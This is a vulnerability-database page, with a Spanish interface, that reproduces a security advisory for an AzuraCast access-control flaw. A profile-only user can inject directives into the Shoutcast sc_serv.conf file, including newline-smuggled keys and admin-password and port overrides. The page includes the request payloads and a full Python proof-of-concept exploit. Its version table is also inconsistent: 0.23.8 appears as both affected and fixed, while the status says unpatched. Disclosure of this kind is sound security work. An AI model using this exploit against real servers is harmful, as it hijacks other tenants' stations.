llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · azuracast/azuracast

GHSA-2WCV-VV3G-G86Q

Station Profile user without Broadcasting can inject Shoutcast sc_serv.conf (admin-password/port takeover)

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición32 dDesde la divulgación, 18 oct 2026, 12:16 p. m.
Detección31 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
18 oct 26
18 nov 26
20 nov 26
18 oct 26
26 oct 26
4 nov 26
12 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2WCV-VV3G-G86Q divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A user with only Manage station profile (no Manage station broadcasting) can persist frontend_config.custom_config through PUT /station/{id}/profile/edit. That JSON lands verbatim in the live Shoutcast sc_serv.conf as key=value lines, overriding adminpassword/portbase and injecting arbitrary directives. High severity station-isolation break.

Details

`PUT /station/{id}/profile/edit` strips privileged `backend_config` Liquidsoap sections for non-Broadcasting users but never touches the frontend field:

// backend/src/Controller/Api/Stations/ProfileEditController.php:80-84
if (!$request->getAcl()->isAllowed(StationPermissions::Broadcasting, $station)) {
    foreach (StationBackendConfiguration::getCustomConfigurationSections() as $key) {
        unset($requestBody['backend_config'][$key]);
    }
}
// NOTE: frontend_config.custom_config is never unset -> stays writable with Profile perm

Field exposure:

// backend/src/Entity/Station.php:133 (GROUP_GENERAL = Profile-editable)
public StationFrontendConfiguration $frontend_config;
// backend/src/Entity/StationFrontendConfiguration.php:16
public ?string $custom_config = null;

Shoutcast writer merges it over the generated base, then emits lines with a value-only newline strip:

// backend/src/Radio/Frontend/Shoutcast.php:170-173
$customConf = $this->processCustomConfig($frontendConfig->custom_config);
$config = array_merge($config, $customConf);

// backend/src/Radio/Frontend/Shoutcast.php:201-204
foreach ($config as $configKey => $configValue) {
    $configFileOutput .= $configKey . '=' . str_replace("\n", '', (string)$configValue) . "\n";
}

JSON parsing keeps `\n` and `=` inside keys (`AbstractFrontend::processCustomConfig`, `:119-120` `json_decode`), so key `"evil\ninjected_directive"` emits two lines and key `"a=b"` emits `a=b=c`. Direct `adminpassword`/`portbase`/`password` override needs no newline. Base keys include:

// backend/src/Radio/Frontend/Shoutcast.php:143-151
'password' => $frontendConfig->source_pw,
'adminpassword' => $frontendConfig->admin_pw,
'portbase' => $frontendConfig->port,

File is consumed on start via `getConfigurationPath()` (`:128-132`) and `getCommand()` (`:209-221`). Verified on `ebf75a267fd2113c1c1b881c04a58babdf4356d3`. Shoutcast binary is absent in stock images, so daemon exec was not observed; `key=value` file semantics is the impact proof. No shell-exec directive claimed.

Proof of concept

Prereq: Shoutcast2-type station + Profile-only user (no Broadcasting).

# admin: create station (use shoutcast2; plain "shoutcast" 500s by design)
POST /api/admin/stations
{"name":"shout-test","short_name":"shouttest","frontend_type":"shoutcast2","backend_type":"liquidsoap"}

# admin: role = View + Manage station profile only, user in that role
PUT /api/admin/role/2
{"name":"t","permissions":{"global":[],"station":[{"id":2,"permissions":["view station management","manage station profile"]}]}}

Low-priv write (the boundary break — 200 + stored verbatim):

GET /api/station/2/profile/edit
PUT /api/station/2/profile/edit
{"frontend_config":{"custom_config":"{\"adminpassword\":\"HACKED_BY_PROFILE\",\"evil\ninjected_directive\":\"pwned\",\"portbase\":\"9999\"}"}}

Materialize + read (admin restart, host file read):

POST /api/station/2/restart
POST /api/station/2/frontend/restart
sudo docker exec azuracast cat /var/azuracast/stations/shouttest/config/sc_serv.conf

Observed vulnerable:

password=CHa4jgyf
adminpassword=HACKED_BY_PROFILE
maxuser=250
portbase=9999
evil
injected_directive=pwned

Fixed would be: PUT rejects/strips `frontend_config.custom_config` without Broadcasting (like backend custom sections) and the file keeps generated passwords/ports. One-run script `poc_shoutcast_profile_to_sc_serv_conf.py` attached (exit 0 = vulnerable).

#!/usr/bin/env python3
"""
PoC — AzuraCast Shoutcast sc_serv.conf Injection via Profile frontend_config.custom_config
Commit: ebf75a267fd2113c1c1b881c04a58babdf4356d3
Severity: High (Profile-only station user -> Shoutcast admin-password/port/arbitrary-directive control)

What this proves:
  1. Target is the exact vulnerable build.
  2. Creates Shoutcast2 station + least-priv role (View + Profile, NO Broadcasting) + low-priv user.
  3. As low-priv user, PUT /api/station/{id}/profile/edit with malicious
     frontend_config.custom_config (adminpassword override + newline-key + portbase).
  4. Restarts station (admin), reads stations/<short>/config/sc_serv.conf via
     `docker exec` (falls back to API persistence proof if docker unavailable).
  5. Verdict: VULNERABLE iff file contains adminpassword=HACKED_*, portbase=9999,
     and injected lines (evil / injected_directive=pwned).

Usage:
  python3 poc_shoutcast_profile_to_sc_serv_conf.py \
    --base http://localhost --admin-email admin@azuracast.local --admin-password 'PASS'
  Optional: --station-short shouttest-poc (default), --docker 1/0

Only dependency: pip install requests
"""
import argparse, json, re, subprocess, sys, time

def log(s,m): print(f"[{s}] {m}", flush=True)
def ok(m):  print(f"[OK] {m}", flush=True)
def fail(m): print(f"[FAIL] {m}", flush=True)
def info(m): print(f"[INFO] {m}", flush=True)

def sh(cmd):
    try: return subprocess.run(cmd, capture_output=True, text=True, timeout=30)
    except Exception as e: return None

def main():
    ap = argparse.ArgumentParser(description="B2 Shoutcast injection PoC (verbose)")
    ap.add_argument('--base', default='http://localhost')
    ap.add_argument('--admin-email', required=True)
    ap.add_argument('--admin-password', required=True)
    ap.add_argument('--station-short', default='shouttest-poc')
    ap.add_argument('--docker', default='1', help='1=try docker exec cat sc_serv.conf, 0=API persistence only')
    a = ap.parse_args()
    import requests
    base = a.base.rstrip('/')
    MAL = '{"adminpassword":"HACKED_BY_PROFILE","evil\\ninjected_directive":"pwned","portbase":"9999"}'
    log("STEP-0", f"Target {base} | Shoutcast station short={a.station_short}")

    # Build fingerprint
    log("STEP-1", "Admin login + build fingerprint ...")
    admin = requests.Session()
    admin.post(base+'/login', data={'username':a.admin_email,'password':a.admin_password}, timeout=15)
    dash = admin.get(base+'/dashboard', timeout=15).text
    if 'ebf75a2' in dash: ok("Build ebf75a2 confirmed")
    else: fail("ebf75a2 NOT in dashboard — version may differ"); print(dash[:300])
    csrf_a = re.search(r'"apiCsrf":"([^"]+)"', dash).group(1)
    HA = {'X-API-CSRF': csrf_a}

    # Station (shoutcast2)
    log("STEP-2", "Ensuring Shoutcast2 station exists ...")
    sts = admin.get(base+'/api/admin/stations', timeout=15).json()
    sid = next((s['id'] for s in sts if s.get('short_name')==a.station_short), None)
    if sid is None:
        r = admin.post(base+'/api/admin/stations', json={"name":"shout-poc","short_name":a.station_short,"frontend_type":"shoutcast2","backend_type":"liquidsoap"}, headers=HA, timeout=20)
        assert r.status_code==200, f"station create failed: {r.status_code} {r.text[:300]}"
        sid = r.json().get('id') or next(s['id'] for s in admin.get(base+'/api/admin/stations', timeout=15).json() if s.get('short_name')==a.station_short)
    ok(f"station id={sid} (use frontend_type=shoutcast2; plain 'shoutcast' 500s by design)")
    before = admin.get(base+'/api/admin/stations', timeout=15).json()
    info("ports: " + str([(s['id'],s['short_name'],s.get('frontend_config',{}).get('port')) for s in before if s['id']==sid]))

    # Role + user (Profile only)
    log("STEP-3", "Least-priv role (View + Profile, NO Broadcasting) + user ...")
    r = admin.post(base+'/api/admin/roles', json={"name":"poc-b2-profile","permissions":{"global":[],"station":[]}}, headers=HA, timeout=15)
    rid = r.json().get('id')
    admin.put(base+f'/api/admin/role/{rid}', json={"name":"poc-b2-profile","permissions":{"global":[],"station":[{"id":sid,"permissions":["view station management","manage station profile"]}]}}, headers=HA, timeout=15)
    ok(f"role id={rid} (verify: no Broadcasting)")
    ru = admin.post(base+'/api/admin/users', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
    try: uid = ru.json().get('id')
    except: uid = None
    if uid: admin.put(base+f'/api/admin/user/{uid}', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
    else: # find existing
        uid = next(u['id'] for u in admin.get(base+'/api/admin/users', timeout=15).json() if u['email']=='pocb2@azuracast.local')
        admin.put(base+f'/api/admin/user/{uid}', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
    ok(f"low-priv user pocb2@azuracast.local id={uid}")

    # Low-priv: profile write
    log("STEP-4", "Low-priv PUT /profile/edit with malicious frontend_config.custom_config ...")
    low = requests.Session()
    rl = low.post(base+'/login', data={'username':'pocb2@azuracast.local','password':'PocB2Test123!'}, timeout=15, allow_redirects=False)
    assert rl.status_code==302 and '/dashboard' in rl.headers.get('Location',''), "low-priv login failed"
    csrf_l = re.search(r'"apiCsrf":"([^"]+)"', low.get(base+'/dashboard', timeout=15).text).group(1)
    HL = {'X-API-CSRF': csrf_l}
    g = low.get(base+f'/api/station/{sid}/profile/edit', timeout=15)
    assert g.status_code==200, f"GET profile/edit denied: {g.status_code} (need Profile perm)"
    ok(f"GET profile/edit 200 (custom_config before={g.json().get('frontend_config',{}).get('custom_config')})")
    p = low.put(base+f'/api/station/{sid}/profile/edit', json={"frontend_config":{"custom_config":MAL}}, headers=HL, timeout=15)
    assert p.status_code==200, f"PUT denied: {p.status_code} {p.text[:300]}"
    ok("PUT 200 — Profile-only write accepted (the missing boundary: only backend_config custom_* is stripped)")
    after = low.get(base+f'/api/station/{sid}/profile/edit', timeout=15).json()['frontend_config']['custom_config']
    assert 'HACKED_BY_PROFILE' in after, "persistence check failed"
    ok("Persistence verified via API (custom_config stored verbatim)")

    # Restart (admin) to materialize file
    log("STEP-5", "Restarting station (admin) to write sc_serv.conf ...")
    admin.post(base+f'/api/station/{sid}/restart', headers=HA, timeout=30)
    admin.post(base+f'/api/station/{sid}/frontend/restart', headers=HA, timeout=30)
    time.sleep(8)

    # Read file
    log("STEP-6", "Reading sc_serv.conf ...")
    content = None
    if a.docker == '1':
        cp = sh(['sudo','-n','docker','exec','azuracast','cat',f'/var/azuracast/stations/{a.station_short}/config/sc_serv.conf'])
        if cp is None or cp.returncode!=0:
            cp = sh(['docker','exec','azuracast','cat',f'/var/azuracast/stations/{a.station_short}/config/sc_serv.conf'])
        if cp and cp.returncode==0: content = cp.stdout
    if content is None:
        fail("docker exec unavailable — file proof skipped; API persistence above + Shoutcast.php:203 loop is the evidence. Re-run with --docker 1 on host.")
        print("EXPECTED-FILE (when readable): adminpassword=HACKED_BY_PROFILE, portbase=9999, evil, injected_directive=pwned")
        return 2
    print("-"*70); print(content[:2000]); print("-"*70)
    checks = {
        "adminpassword=HACKED_BY_PROFILE": "adminpassword=HACKED_BY_PROFILE" in content,
        "portbase=9999": "portbase=9999" in content,
        "injected_directive=pwned": "injected_directive=pwned" in content,
        "bare 'evil' line (key-newline)": any(l.strip()=='evil' for l in content.splitlines()),
    }
    for k,v in checks.items(): info(f"{k}: {'YES' if v else 'NO'}")
    if all(checks.values()):
        ok("VULNERABLE — Profile-only input reached live sc_serv.conf (auth + port + directive injection). REPORT B2.")
        return 0
    else:
        fail("NOT vulnerable as described (file lacks markers). Do NOT report.")
        return 1

if __name__ == '__main__':
    sys.exit(main())
Impact

Broken access control / config injection. Profile-only user gains broadcast-frontend control: Shoutcast /admin.cgi password (kick/ban source and listeners, view stats), listen-port hijack/DoS (8010 -> 9999), arbitrary sc_serv.conf directive persistence. Multi-tenant station isolation failure.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
azuracast/azuracast≤ 0.23.8
0.23.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistazuracast/azuracast
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-2wcv-vv3g-g86q

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.